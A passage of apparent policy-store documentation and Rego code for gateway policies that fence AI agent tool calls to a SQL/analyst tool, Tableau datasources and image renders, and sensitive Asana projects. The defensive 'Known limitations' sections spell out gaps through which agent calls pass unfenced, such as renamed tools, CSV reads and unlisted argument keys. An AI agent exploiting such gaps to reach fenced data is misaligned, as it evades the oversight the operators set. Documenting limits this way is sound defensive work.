makes the iteration fail -> fail closed. caller_has_group(group) if { some g in caller_groups lower(g) == lower(group) } # --------------------------------------------------------------------------- # Argument extraction — object.get everywhere. SQL text arrives under `query` # (and, defensively, `statement`); Cortex Analyst text under `message`. args := object.get(object.get(input, "payload", {}), "args", {}) sql_candidates contains t if { t := object.get(args, "query", "") t != "" } sql_candidates contains t if { t := object.get(args, "statement", "") t != "" } nl_candidates contains t if { t := object.get(args, "message", "") t != "" } # Prefix references are checked across both SQL and NL text; SELECT * only # meaningfully applies to SQL text. all_text_candidates := sql_candidates | nl_candidates # This policy only inspects calls that carry a SQL query/statement or an # analyst message; everything else passes through. is_inspected_call if { count(all_text_candidates) > 0 } # --------------------------------------------------------------------------- # Detection helpers. # True when `text` references an identifier beginning with `prefix`. `\b` # anchors the match to an identifier boundary (start of string, whitespace, # `.`, `(`, quote, comma), so FINANCE_LEDGER and DB.PII_X match but a prefix # buried mid-identifier (MY_PII_COL) does not. domain_in_text(prefix, text) if { regex.match(sprintf(`(?i)\b%s`, [prefix]), text) } # A fenced domain the caller is NOT cleared for is referenced in the request. denied_domains contains prefix if { some prefix, group in sensitive_domains some t in all_text_candidates domain_in_text(prefix, t) not caller_has_group(group) } # A star-select against a fenced schema, in a single SQL statement. Catches # `SELECT *`, `SELECT DISTINCT *`, `SELECT ALL *`, `SELECT TOP *` (and any # combination of those leading set-quantifier / row-limit tokens, in any order), # table-qualified `SELECT alias.*`, and the no-space form `SELECT*` (valid SQL) # so a missing space or a leading modifier cannot evade the fence. Each modifier # alternative requires a following `\s+`, so identifiers like `all_flags`, # `distinct_id`, or `top_customer` are NOT mistaken for a set quantifier. select_star_on_sensitive if { some t in sql_candidates regex.match(`(?i)select\s*(?:(?:all|distinct|top\s+\d+)\s+)*(?:\w+\.)?\*`, t) some prefix in object.keys(sensitive_domains) domain_in_text(prefix, t) } # --------------------------------------------------------------------------- # Allow rules. # Any call this policy does not inspect passes through untouched. allow if { not is_inspected_call } # Inspected call with no fenced-domain violation and no star-select on a # fenced schema. allow if { is_inspected_call count(denied_domains) == 0 not select_star_on_sensitive } # --------------------------------------------------------------------------- # Deny reasons. reasons contains msg if { some prefix in denied_domains group := sensitive_domains[prefix] msg := sprintf("Access to the '%s' sensitive data domain requires the '%s' IdP group. Ask your data platform admin for that entitlement, or contact InfoSec if this fence looks wrong.", [prefix, group]) } reasons contains "SELECT * against a fenced sensitive schema is not allowed. List the specific columns you need so the access is minimum-necessary, then re-run. Contact your data platform admin if a fenced prefix is mislabeled." if { select_star_on_sensitive } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence Tableau Datasource Scope URL: https://www.intentbasedpolicy.com/policies/tableau/fence-datasource-scope App(s): tableau | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: tableau.ingress.fence_datasource_scope | Published: 2026-07-12 | Tags: tableau, fence-sensitive-scopes, access-control, datasource, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/tableau/fence-datasource-scope/policy.md # tableau / fence-datasource-scope **Direction:** ingress (`tool_pre_invoke`) **Default:** deny; explicit allows for non-fenced tools, approved-datasource queries, and cleared image renders **Package:** `tableau.ingress.fence_datasource_scope` ## What it does Tableau's MCP server is a warehouse proxy: `query-datasource` runs a VizQL Data Service (VDS) query and returns **raw row-level data** — PII, PHI, payroll, financials — from whatever the published datasource connects to, and the image-render tools return the same data drawn as pixels. This policy fences two of those surfaces at ingress, before the call reaches Tableau. It enforces two independent, group-scoped controls: 1. **`query-datasource` — per-datasource allowlist.** The call is denied unless its `datasourceLuid` argument is a member of a per-tenant allowlist of approved datasource LUIDs (`approved_datasources`). `datasourceLuid` is the clean scope dimension the VDS schema exposes, so this confines the agent channel to datasources an operator has cleared (minimum-necessary / least-privilege). A missing, empty, or non-allowlisted `datasourceLuid` **fails closed** and is denied. 2. **`get-view-image` / `get-custom-view-image` — analyst-only.** These tools return **PNG renders** of a view. Egress redaction cannot parse pixels, so masking is impossible and **deny is the only meaningful control**. The policy denies these two tools for any caller whose IdP groups do not include the analyst group (`data-analysts`, a placeholder). A missing subject, missing claims, or missing/malformed `groups` claim yields no memberships and **fails closed**. Every other Tableau tool — catalog/metadata reads (`list-datasources`, `get-datasource-metadata`, `get-view`, `list-workbooks`…), the CSV data reads (`get-view-data`, `get-custom-view-data`), Pulse, admin-insights, token, and mutation tools — and all non-Tableau tools pass through this policy untouched. Those surfaces are governed by companion policies (see Composition). ## Identity gating The image-render control reads the caller's IdP groups from `input.subject.claims.groups` through `object.get(...)` chains, so a missing subject, missing claims, or a missing/malformed `groups` claim resolves to an empty membership set: no matching group means no access to the image tools. The `groups` claim must be an array of strings; any other shape yields no memberships. Group names are compared case-insensitively. ## Compliance alignment This policy instantiates sensitive-scope fencing (family PF-23) on Tableau's data-query and image-render paths and supports alignment with: - **SOC 2 C1.1** — supports identification and protection of confidential information by confining agent queries to a governed set of datasources on the MCP path; **P4.1** — supports limiting personal-information use to identified purposes by keeping un-cleared datasources and un-redactable image renders off the agent path. - **HIPAA §164.502(b)/§164.514(d)** — supports the minimum-necessary / role-based-limit standard by scoping agent queries to approved datasources rather than every datasource the connected identity can reach; **§164.308(a)(4)** — supports information access management: which datasources the agent may query and who may pull image renders are operator decisions enforced at the gateway; **§164.522(a)** — the allowlist can encode agreed-to restrictions on specific datasources. - **GDPR Art. 9** — supports special-category protection by keeping datasources holding health, HR, or other Art. 9 data off the agent path until their LUID is allowlisted, and by denying image renders (which cannot be redacted) to non-analysts; **CPRA §1798.121** — supports the right to limit use of sensitive personal information by fencing SPI-bearing datasources to a minimal allowlist; **Art. 5(1)(b)** — supports purpose limitation by keying datasource and image-render access to the caller's approved scope. ## Why ingress Both violations are fully determined by the request alone — the tool name, the `datasourceLuid` argument, and the caller's claims — so enforcement happens before the call reaches Tableau and restricted rows or renders are never fetched into the model context. This matters most for image renders: once a PNG is returned there is no egress control that can clean it, so the leak must be prevented at ingress. For defense in depth, pair with the egress redaction companion for the CSV data-read surfaces this policy does not fence. ## Tool name matching The official Tableau server uses **kebab-case tool names with no vendor prefix** (`query-datasource`, `get-view-image`); the gateway prefixes them with the configured MCP server name joined by a hyphen (e.g. `tableau-query-datasource`), and that prefix is not standardized. The policy matches **case-insensitively by suffix** on the distinctive tails: - `query-datasource` — matches `query-datasource`, `tableau-query-datasource`, etc. This tail is distinctive; it does not collide with `get-datasource-metadata` or `list-datasources`. - `get-view-image` — the standard-view PNG render. - `get-custom-view-image` — the custom-view PNG render. (`get-custom-view-image` does **not** end in `get-view-image`, so both suffixes are matched explicitly.) Suffix matching keeps the policy portable across gateway prefixes. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. **Tableau Next** (the Salesforce-hosted analytics product) uses disjoint snake_case names (`analyze_data`, `get_visualization`) and is **not** covered by this policy — author a separate policy for that server. ## Argument shape `query-datasource` carries the target datasource as a scalar string `datasourceLuid` (verified against the VDS query-tool schema). The policy reads it with `object.get(args, "datasourceLuid", "")` and compares it **verbatim** against `approved_datasources`. Tableau LUIDs are canonical lowercase UUIDs; store them in the allowlist exactly as Tableau emits them. A call that omits `datasourceLuid`, sends an empty value, or carries it under a different key resolves to `""`, which is not in the allowlist, and is denied (fail closed). The image-render tools take a `viewId`/`customViewId` (opaque LUID) plus optional filters; this policy does not inspect their arguments — it denies them wholesale for non-analysts. ## Examples ### Allowed — query against an approved datasource ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "tableau-query-datasource", "type": "tool" }, "payload": { "name": "tableau-query-datasource", "args": { "datasourceLuid": "11111111-1111-1111-1111-111111111111" } // on the allowlist } } } ``` `allow = true`, no reason. ### Allowed — image render by a data analyst ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "tableau-get-view-image", "type": "tool" }, "subject": { "sub": "auth0|amy", "claims": { "groups": ["data-analysts"] } }, "payload": { "name": "tableau-get-view-image", "args": { "viewId": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa" } } } } ``` `allow = true`, no reason. ### Denied — query against a datasource that is not allowlisted ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "tableau-query-datasource", "type": "tool" }, "payload": { "name": "tableau-query-datasource", "args": { "datasourceLuid": "99999999-9999-9999-9999-999999999999" } // not on the allowlist } } } ``` `allow = false`, `reason = "Tableau datasource 99999999-9999-9999-9999-999999999999 is not on the approved-datasource allowlist ..."`. ### Denied — image render by a non-analyst ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "tableau-get-custom-view-image", "type": "tool" }, "subject": { "sub": "auth0|eng", "claims": { "groups": ["engineering"] } }, "payload": { "name": "tableau-get-custom-view-image", "args": { "customViewId": "bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb" } } } } ``` `allow = false`, `reason = "Tableau image renders (get-view-image / get-custom-view-image) return PNGs that cannot be redacted ..."`. ## Composition This policy fences the datasource-query and image-render surfaces. Useful companions: - An **egress PII/PHI/PAN redaction** policy on `query-datasource`, `get-view-data`, and `get-custom-view-data` responses — those return row-level data / CSV as text and *can* be redacted, unlike the PNG renders this policy denies outright. This is the mandatory backstop for the CSV data-read path, which this ingress fence does not cover. - A **`calculation`-field guard** on `query-datasource` for non-analyst groups: the VDS `calculation` field variant accepts an arbitrary Tableau calc expression that can reference any column in the (already-approved) datasource, so `fieldCaption`-level column fencing is bypassable — treat the presence of `calculation` as elevated. - A **token-management deny** (`get-embed-token`, `revoke-access-token`, `reset-consent`) and a **mutation gate** on the delete/update tools and their `confirm-` twins. - A **default-deny-unknown-tools** policy (PF-28): the hosted Tableau server ships new tools automatically, so the tool inventory drifts forward without any client change. ## Known limitations - **CSV data reads are not fenced here.** `get-view-data` and `get-custom-view-data` return the *same underlying data* as the image tools, but as CSV text. A non-analyst denied `get-view-image` can pull the same view's data through `get-view-data`. That is intentional: CSV *can* be egress-redacted, so it is governed by the egress redaction companion rather than an ingress deny. Attach that companion — this policy alone leaves the CSV path open. - **`calculation` escape hatch inside an approved datasource.** Once a datasource LUID is allowlisted, this policy does not restrict *which columns or rows* the query reads. The VDS `calculation` field can reference any column in that datasource, so column-level fencing is out of scope here. Pair with the `calculation`-field guard companion. - **Allowlist is literal LUIDs.** `datasourceLuid` is compared verbatim against `approved_datasources`; a datasource reached by any other LUID is denied (the intended default-deny), which also means the allowlist must contain each cleared datasource's exact canonical LUID. The shipped LUIDs are placeholders — replace them with your tenant's real datasource LUIDs at import time. A caller cannot gain access by re-casing an approved LUID: a case-altered value is a different string, is not in the set, and is denied. - **Off-schema `datasourceLuid` still fails closed, but its reason string is cosmetic.** The VDS schema types `datasourceLuid` as a scalar string. A call that sends it as a non-string (number, array, object) or under a different key is not on the allowlist and is **denied** — the security decision is correct. For a non-string scalar the denial *reason* interpolates the raw value with `%s`, which can render a formatting artifact (e.g. `%!s(int=123)`); the deny is unaffected. Send `datasourceLuid` as the canonical lowercase-UUID string. - **Image deny is all-or-nothing.** The image-render control is a pure group gate — an analyst may render *any* view (subject to Tableau's own permissions), and a non-analyst may render *none*. It does not scope image renders by datasource, because the render tools take an opaque `viewId`, not a `datasourceLuid`. - **Only the official kebab-case server is fenced; snake_case servers pass through.** Suffix matching is hyphen-specific (`query-datasource`, `get-view-image`), so any Tableau server that exposes the *same data surfaces under snake_case names is not matched and passes through un-fenced*. This covers the Salesforce-hosted **Tableau Next** product (`analyze_data`, `get_visualization`) *and* the community FastMCP servers the landscape note flags (e.g. `query_datasource`, `get_view_image`, `get_view_data` — tool names there are unverified). A non-allowlisted datasource query or a non-analyst image render issued against such a server would be allowed. This is by design — the policy is pinned to the official server's verified names and must not guess at unverified underscore names — but it means you must author a separate policy (and/or a PF-28 default-deny-unknown gate) for any non-kebab Tableau server your gateway exposes. Confirm the exact `tools/list` names with the dump-input debug technique before trusting this fence. - **Suffix matching anchors on the *tail*, so a name with extra characters after the distinctive suffix is not matched.** The match is `endswith(name, "query-datasource")` / `endswith(name, "get-view-image")` / `endswith(name, "get-custom-view-image")`, which fires only when the distinctive tail is the *end* of the name. A drifted or versioned variant on the official server whose name carries a further suffix — e.g. `tableau-query-datasource-v2`, `…-query-datasource-async`, or `…-get-view-image-hd` — does **not** end in the anchored tail, so it is treated as an unfenced tool and passes through: a non-allowlisted datasource query or a non-analyst image render issued under such a name would be **allowed**. This is the flip side of anchoring on the tail rather than substring-matching (a `contains` match would false-positive on names like `get-query-datasource-metadata`), and it is why the policy must be paired with a **PF-28 default-deny-unknown-tools** gate: the hosted Tableau server ships new/renamed tools automatically, so re-verify `tools/list` with the dump-input debug technique whenever the server version changes and pin any new query/image variant names into this policy's suffix list. - **Identity placeholders.** The analyst group name (`data-analysts`) and every entry in `approved_datasources` are placeholders — replace them with your IdP's group name and your tenant's real datasource LUIDs at import time. The `groups` claim must be an array of strings; any other shape fails closed. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package tableau.ingress.fence_datasource_scope # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --------------------------------------------------------------------------- # CONFIG — PLACEHOLDERS, replace at import time. # # Approved datasource LUIDs the agent channel may query via `query-datasource`. # Tableau LUIDs are canonical lowercase UUIDs; compare verbatim (not lowered). # Pin the exact LUIDs an operator has cleared for the agent. approved_datasources := { "11111111-1111-1111-1111-111111111111", # e.g. the governed sales-metrics datasource "22222222-2222-2222-2222-222222222222", # e.g. the governed ops datasource } # IdP group cleared to pull image renders (PNGs that cannot be redacted). # PLACEHOLDER — remap to your IdP's group name at import time. Compared # case-insensitively. image_render_group := "data-analysts" # --------------------------------------------------------------------------- # Tool matching. Official server uses kebab-case, no vendor prefix; the gateway # prefixes with the configured server name joined by a hyphen. Match # case-insensitively by distinctive suffix so any prefix is covered. Verify # exact names with the dump-input debug technique. Tableau Next (snake_case) is # NOT matched by design. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # The VDS row-level query surface. `query-datasource` is distinctive and does # not collide with `get-datasource-metadata` / `list-datasources`. is_query_datasource_tool if endswith(tool_name, "query-datasource") # The two PNG image-render surfaces. `get-custom-view-image` does not end in # `get-view-image`, so both tails are matched explicitly. is_image_render_tool if endswith(tool_name, "get-view-image") is_image_render_tool if endswith(tool_name, "get-custom-view-image") # --------------------------------------------------------------------------- # Identity — caller's IdP groups, read fail-closed: a missing subject, missing # claims, or a missing/malformed groups claim yields no memberships, so the # caller is never treated as cleared by accident. caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) member_of(group) if { is_array(caller_groups) some g in caller_groups is_string(g) lower(g) == group } # --------------------------------------------------------------------------- # Arguments — object.get everywhere so a missing field fails closed. args := object.get(object.get(input, "payload", {}), "args", {}) requested_luid := object.get(args, "datasourceLuid", "") # --------------------------------------------------------------------------- # Allow rules. # Any tool this policy does not fence passes through untouched (catalog reads, # CSV data reads, Pulse, admin-insights, mutations, and all non-Tableau tools). allow if { not is_query_datasource_tool not is_image_render_tool } # query-datasource: allowed only when the datasourceLuid is on the allowlist. # A missing/empty LUID resolves to "" which is not in the set -> deny. allow if { is_query_datasource_tool approved_datasources[requested_luid] } # Image renders: allowed only for callers in the analyst group. allow if { is_image_render_tool member_of(image_render_group) } # --------------------------------------------------------------------------- # Deny reasons. # query-datasource naming a datasource that is not on the allowlist. reasons contains msg if { is_query_datasource_tool requested_luid != "" not approved_datasources[requested_luid] msg := sprintf("Tableau datasource %s is not on the approved-datasource allowlist, so the agent may not query it. Query an approved datasource, or request datasource onboarding through your data-governance owner if you believe this one should be cleared.", [requested_luid]) } # query-datasource with no datasourceLuid at all — fail closed. reasons contains msg if { is_query_datasource_tool requested_luid == "" msg := "This Tableau query supplied no datasourceLuid, so it cannot be matched against the approved-datasource allowlist. Re-issue the call naming an approved datasource, and request datasource onboarding through your data-governance owner if the one you need is not yet approved." } # Image render by a caller outside the analyst group. reasons contains msg if { is_image_render_tool not member_of(image_render_group) msg := "Tableau image renders (get-view-image / get-custom-view-image) return PNGs that cannot be redacted, so they are restricted to the data-analyst group. Use a CSV data read (get-view-data) or contact your data-governance owner if your role requires image exports." } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence Writes to Sensitive Asana Projects URL: https://www.intentbasedpolicy.com/policies/asana/fence-sensitive-projects App(s): asana | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: asana.ingress.fence_sensitive_projects | Published: 2026-07-12 | Tags: asana, fence-sensitive-scopes, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/asana/fence-sensitive-projects/policy.md # asana / fence-sensitive-projects **Direction:** ingress (`tool_pre_invoke`) **Default:** deny writes that target a fenced project GID for callers outside the mapped group, allow otherwise **Package:** `asana.ingress.fence_sensitive_projects` ## What it does Asana is routinely used for HR (hiring, performance, offboarding), legal, M&A, and incident work; those project bodies, comments, custom fields, and status updates carry PII and confidential material. Sensitivity is a property of the **project GID**, not the tool. This policy converts Asana's single-OAuth-token scope into per-team least privilege by pinning sensitive project GIDs to the IdP group required to write to them. At ingress it inspects the write tools that can push content into — or grant visibility on — a project, extracts every project/section GID that appears **directly** in the payload, and denies the call when a requested GID is fenced and the caller lacks the mapped IdP group. Inspected write tools: - **Official V2 batch** `create_tasks` / `update_tasks` — each carries an array of up to **50** task objects; the policy iterates every element and reads its `project`, `projects[]`, and `section` fields. - **Official** `add_comment` and `create_project_status_update` — comment / status-update writes that are externally visible to project followers. - **Community** (`roychri` / `cristip73`) `asana_create_task` / `asana_update_task` (`project_id`, `projects[]`), `asana_create_task_story` (the community comment tool), `asana_add_task_to_section` (`section_id`), `asana_add_followers_to_task` (grants a task's visibility to new followers), `asana_create_project_status` (the community twin of `create_project_status_update`, broadcasts to project followers), and `asana_add_project_to_task` (adds a task into a project by project GID — grants project membership, i.e. content + visibility, on the fenced project). The protected set carries **placeholder** GIDs mapped to placeholder groups (`hr`, `legal`, `ma`, `incident`). Pin your tenant's real project GIDs (and group names), or empty the list, at import time — a project reached by a GID not on the list is not fenced. Group membership is read from `input.subject.claims.groups` via `object.get(input.subject, "claims", {})` chains and fails closed: a missing, empty, or malformed `groups` claim never grants a write to a fenced project — no group means not permitted. Every tool this policy does not inspect passes through untouched. ## Why ingress and not egress These are writes with permanent, often externally-visible side effects: once the call reaches Asana the task exists, the comment or status update has notified followers (including external guests on shared projects), and follower additions have granted visibility. Egress can only mask the response, not undo the write or the notification. Ingress denial is the only point at which the write into a fenced project is actually prevented. ## Compliance alignment - **SOC 2 C1.1** — supports identification and protection of confidential information by gating agent writes to designated confidential projects to their mapped groups; **P4.1** — supports limiting personal-information use to identified purposes by keeping PI-bearing projects (HR / M&A) behind role fences on the agent channel. - **GDPR Art. 9** — supports special-category protection by fencing writes to projects holding health, HR, or other Art. 9 data; **Art. 5(1)(b)** — supports purpose limitation by keeping sensitive projects scoped to the team whose purpose they serve; **CPRA §1798.121** — supports the right to limit use of sensitive personal information by fencing SPI projects to a minimal group. (Per the coverage matrix, these rows map to policy family **PF-23** (`fence-sensitive-scopes`).) ## Tool name matching Tool matching is **suffix-based** and case-insensitive so it covers both the official V2 bare-verb spellings and the `asana_`-prefixed community spellings behind any gateway server-name prefix. A name matches a suffix when it equals it exactly, or ends with the suffix preceded by a `-` or `_` separator (e.g. `asana-create_tasks`, `asana_create_tasks`). The two divergent spellings are matched by distinct suffixes: - official plural batch `create_tasks` / `update_tasks` vs community singular `asana_create_task` / `asana_update_task`; - official `add_comment` vs community `asana_create_task_story` (same externally-visible action, two suffixes). The name is read from **both** the PARC field (`input.resource.name`) and the legacy alias (`input.payload.name`) via `object.get` chains, coerced to a lowercased, whitespace-trimmed string (a missing or non-string value resolves to `""` rather than leaving the match undefined), and the two fields are matched **independently** — a malformed value in one cannot suppress a real write suffix in the other. Asana's tool set evolves (Asana says to use `tools/list` for the current set; `add_comment` was absent at V2 launch and added later). Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape Asana does **not** publish the V2 per-parameter JSON schema (it is only visible via a live `tools/list`), so the GID-bearing argument keys below are **documented field lists, not verified schema keys**. The policy scans a fixed set of candidate keys both at the top level and inside each batch element: - scalar GID keys: `project`, `section`, `project_id`, `section_id`, `parent`; - array GID key: `projects[]`. `parent` is scanned because Asana's status-update surface (`create_project_status_update` / `asana_create_project_status`) carries the target project GID under `parent` (the native `POST /status_updates` parameter), not `project`; scanning `parent` closes the broadcast-into-a-fenced-project path. `parent` is also the subtask-parent key on `create_tasks` / `update_tasks`, where it holds a **task** GID — harmless to scan, because a task GID never equals a fenced **project** GID, so no false-positive deny is introduced (a subtask created under a task that itself lives in a fenced project is the transitive case below, still a documented pass-through). Batch arrays for `create_tasks` / `update_tasks` are read under candidate keys `tasks`, `data`, `items` (the array-holding key is **unverified** — same caveat as the batch policy). GIDs are normalized to a trimmed string, so numeric and string encodings both match. A candidate key that is missing or non-scalar is simply skipped. ## Examples ### Allowed — write to a non-fenced project ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "asana-create_tasks", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "asana-create_tasks", "args": { "tasks": [ { "name": "ship it", "project": "1209999999999" } ] } // not fenced } } } ``` `allow = true`, no reason. ### Allowed — write to a fenced project by a member of the mapped group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "asana-add_comment", "type": "tool" }, "subject": { "sub": "google-apps|hr@example.com", "claims": { "groups": ["hr"] } }, "payload": { "name": "asana-add_comment", "args": { "project": "1201111111111", "text": "note" } } } } ``` `allow = true`. ### Denied — write to a fenced project by a caller outside the group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "asana-create_tasks", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "asana-create_tasks", "args": { "tasks": [ { "name": "leak", "project": "1201111111111" } ] } // fenced -> hr } } } ``` `allow = false`, `reason = "Asana project 1201111111111 is fenced as sensitive and requires the 'hr' IdP group to write to it; (...)"`. ## Composition This policy only fences writes when a protected GID appears **directly** in the payload. It is deliberately paired with: - **`apps/asana/freeze-destructive-ops`** — freezes `delete_task` and community delete tools; a fenced project's tasks can still be *deleted* without this companion. - **`apps/asana/cap-batch-mutation`** — caps batch blast radius; the fence bounds *which* projects a batch may touch, the cap bounds *how many* records per call. - An **egress PII redaction** policy on `get_task` / `search_tasks` / `asana_get_task_stories` responses, to cover reads (this policy is write-side only) and mop up regulated values. ## Known limitations - **Direct-GID matching only (the core limitation).** The rule fires only when a protected project/section GID appears directly in the payload. It **cannot** transitively resolve a task's project from a bare `parent` / `task_id` reference (e.g. `add_comment`, `asana_create_task_story`, `asana_add_followers_to_task`, or an `update_tasks` element that names only a task GID). Such a call passes through this policy. This fence must therefore be **paired** with the destructive-ops and batch companions above, not relied on alone. - **Placeholder configuration.** The GIDs and group names (`hr`, `legal`, `ma`, `incident`) are placeholders — replace them with your deployment's real Asana project GIDs and IdP group names, or empty the list, at import time. **Group names are placeholders — replace `hr` with your IdP's group name at import time.** Confirm your IdP actually emits a `groups` claim (Auth0 and most IdPs require explicit configuration); with no `groups` claim the policy fails closed (writes to fenced projects are denied for everyone). - **`groups` must be an array of strings.** A string-valued or otherwise malformed `groups` claim fails closed (fenced writes deny). If your IdP emits groups under a different claim name, update `caller_has_group` in the Rego. - **Unverified argument keys.** Asana does not publish the V2 per-parameter schema; the GID field keys (`project`, `section`, `project_id`, `section_id`, `parent`, `projects[]`) and the batch array keys (`tasks`, `data`, `items`) are best-effort candidate lists. `parent` was added after a red-team review found that a status-update broadcast (`create_project_status_update` / `asana_create_project_status`) names its project GID under `parent`, not `project`, and so slipped the fence uninspected. Confirm the real keys via a live `tools/list` and extend the constants. A write that names its project GID under a key not in the list is not fenced (same class as the direct-GID limitation). Two shapes are known **not** covered and pass through: a GID wrapped in an object (`projects: [{"gid": "..."}]`) rather than a bare GID string, and a payload whose `args` is a positional array rather than a named-argument object — neither is a shape the MCP tool surface is expected to emit, but both are residuals if a nonconforming server does. - **Structural community writes into a project are not fenced.** The community `asana_create_section` / `asana_create_section_for_project` tools create a section *inside* a project by direct project GID. They are deliberately **not** in `write_suffixes`: they add structure, not PII-bearing task bodies/comments/status broadcasts, so they are lower leak value and left as a documented residual (a pinned allow test locks this pass-through). If your threat model treats section creation inside a fenced project as sensitive, add those suffixes to `write_suffixes` — the existing `project` / `project_id` scalar keys already cover their GID argument. `asana_update_project` (which modifies a fenced project's own settings, including `privacy_setting`) is likewise out of scope here; pair the PF `privacy-flip` companion for that surface. - **Tool-inventory drift.** Asana's V2 set evolves and community forks add tools; a new write tool with a different suffix is not inspected until added to `write_suffixes`. For a hard guarantee against unknown tools, compose the PF-28 `default-deny-unknown-tools` allowlist alongside this policy. - **Suffix matching is portable but broad.** A hypothetical unrelated tool whose name ends in one of the matched suffixes preceded by `-`/`_` would also be inspected (and allowed unless it names a fenced GID). For a scope fence, over-inspection is the safe direction. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package asana.ingress.fence_sensitive_projects # Deny-by-default. The pass-through allow branch (`not is_write_tool`) neutralizes # this default for every tool this policy does not inspect, so the default-deny # bites only on the matched write tools that target a fenced project GID. default allow := false # --------------------------------------------------------------------------- # Fence configuration — PLACEHOLDERS, replace (or empty) at import time. # # Asana project sensitivity is a property of the project GID, not the tool. # HR / legal / M&A / incident projects hold PII and confidential material. # Each entry pins a sensitive project (or section) GID to the IdP group allowed # to write to it. The list ships with placeholder GIDs mapped to placeholder # groups; pin your tenant's real GIDs (and group names), or empty the list, at # import time. A project whose GID is not on this list is NOT fenced. Group # names are compared case-insensitively against the caller's `groups` claim. protected_projects := [ {"gid": "1201111111111", "group": "hr"}, # e.g. HR / recruiting project {"gid": "1202222222222", "group": "legal"}, # e.g. Legal / contracts project {"gid": "1203333333333", "group": "ma"}, # e.g. M&A / corp-dev project {"gid": "1204444444444", "group": "incident"}, # e.g. Security-incident project ] # --------------------------------------------------------------------------- # Identity — groups are read via object.get chains so a missing subject / claims # / groups fails closed (no group -> no write to a fenced project). The is_array # guard is load-bearing: a non-array `groups` (string, object, number) must fail # closed rather than let `some g in groups` iterate an unexpected shape. caller_has_group(group) if { claims := object.get(input.subject, "claims", {}) groups := object.get(claims, "groups", []) is_array(groups) some g in groups is_string(g) lower(g) == lower(group) } # --------------------------------------------------------------------------- # Tool matching (suffix-based, case-insensitive, for portability across gateway # server-name prefixes). Read the name from BOTH the PARC field and the legacy # alias; a missing OR non-string value resolves to "" (never leaves the match # undefined — a fail-OPEN bypass). trim_space strips padding so a trailing space # or newline cannot slip past the suffix check. The two fields are matched # independently so a malformed value in one cannot suppress a real suffix in the # other. name_of(key) := trim_space(lower(v)) if { v := object.get(object.get(input, key, {}), "name", "") is_string(v) } name_of(key) := "" if { v := object.get(object.get(input, key, {}), "name", "") not is_string(v) } resource_name := name_of("resource") payload_name := name_of("payload") # A name matches a suffix when it equals it exactly, or ends with the suffix # preceded by a `-` or `_` separator (tolerates any gateway server-name prefix). matches_name(name, suffix) if { name == suffix } matches_name(name, suffix) if { endswith(name, sprintf("-%s", [suffix])) } matches_name(name, suffix) if { endswith(name, sprintf("_%s", [suffix])) } tool_matches(suffix) if { matches_name(resource_name, suffix) } tool_matches(suffix) if { matches_name(payload_name, suffix) } # Write tools that can push content into — or grant visibility on — a project. # Official plural batch verbs and community `asana_`-prefixed singular verbs are # matched by distinct suffixes. Comment writes appear under two suffixes # (`add_comment` official, `asana_create_task_story` community). write_suffixes := [ "create_tasks", # official V2 batch create (up to 50 objects) "update_tasks", # official V2 batch update (up to 50 objects) "add_comment", # official comment "create_project_status_update", # official status update "asana_create_task", # community singular create "asana_update_task", # community singular update "asana_create_task_story", # community comment "asana_add_task_to_section", # community add-to-section (section_id) "asana_add_followers_to_task", # community follower add (grants visibility) "asana_create_project_status", # community status update (twin of create_project_status_update) "asana_add_project_to_task", # community add-task-to-project (grants project membership by project GID) ] is_write_tool if { some s in write_suffixes tool_matches(s) } # --------------------------------------------------------------------------- # GID extraction — object.get everywhere; GIDs may arrive as numbers or strings, # so normalize both to a trimmed string. Missing / non-scalar values are skipped. args := object.get(object.get(input, "payload", {}), "args", {}) # Scalar GID-bearing argument keys, and the candidate batch-array keys for the # official create_tasks / update_tasks tools (array key is UNVERIFIED — see the # batch policy). These are documented field lists, not verified schema keys. scalar_gid_keys := ["project", "section", "project_id", "section_id", "parent"] batch_keys := ["tasks", "data", "items"] to_gid(x) := trim_space(x) if is_string(x) to_gid(x) := sprintf("%v", [x]) if is_number(x) # Top-level scalar GID fields (community singular tools, add_comment, # create_project_status_update, asana_add_task_to_section, and any create/update # call that carries the field flat). requested_gids contains id if { is_write_tool some key in scalar_gid_keys id := to_gid(object.get(args, key, null)) id != "" } # Top-level projects[] array. requested_gids contains id if { is_write_tool some raw in object.get(args, "projects", []) id := to_gid(raw) id != "" } # Batch-array elements (official create_tasks / update_tasks, up to 50 objects): # each element's scalar GID fields. requested_gids contains id if { is_write_tool some bkey in batch_keys arr := object.get(args, bkey, null) is_array(arr) some el in arr is_object(el) some key in scalar_gid_keys id := to_gid(object.get(el, key, null)) id != "" } # Batch-array elements' projects[] arrays. requested_gids contains id if { is_write_tool some bkey in batch_keys arr := object.get(args, bkey, null) is_array(arr) some el in arr 